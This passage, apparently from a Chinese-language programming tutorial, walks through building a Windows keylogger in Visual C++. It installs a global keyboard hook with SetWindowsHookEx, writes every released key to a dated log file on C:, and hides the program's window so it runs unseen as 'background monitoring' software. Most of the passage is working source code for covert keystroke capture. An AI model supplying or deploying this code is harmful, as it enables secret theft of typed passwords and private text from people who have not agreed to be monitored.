Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInst ance,0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx()来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。

void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。

编译完成便可得到运行时所需的键盘钩子的动态连接库和进行静态链接时用到的lib库。

下面开始编写调用此动态连接库的主程序,并实现最后的集成。

另外创建一个单文档应用程序,把所需的动态链接库头文件、lib库复制到工程目录中,将动态链接库复制到Debug 目录下。

然后链接DLL库:在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。

再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include "LaunchDLL.h"
这样我们就可以象使用本工程内的函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。

接下来在视类重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
InstallLaunchEv();
到此为止其实已经完成了所有的功能,但由于本程序是作为一个后台监控软件运行,因此还应当采取其他措施以隐藏其程序界面。

这只需在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

小结
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。

系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。

这种技术广泛应用于各种自动监控系统中。

本文所述程序在Windows 2000 Professional + SP4下由Microsoft Visual C++ 6.0编译调试通过。

相关文档
最新文档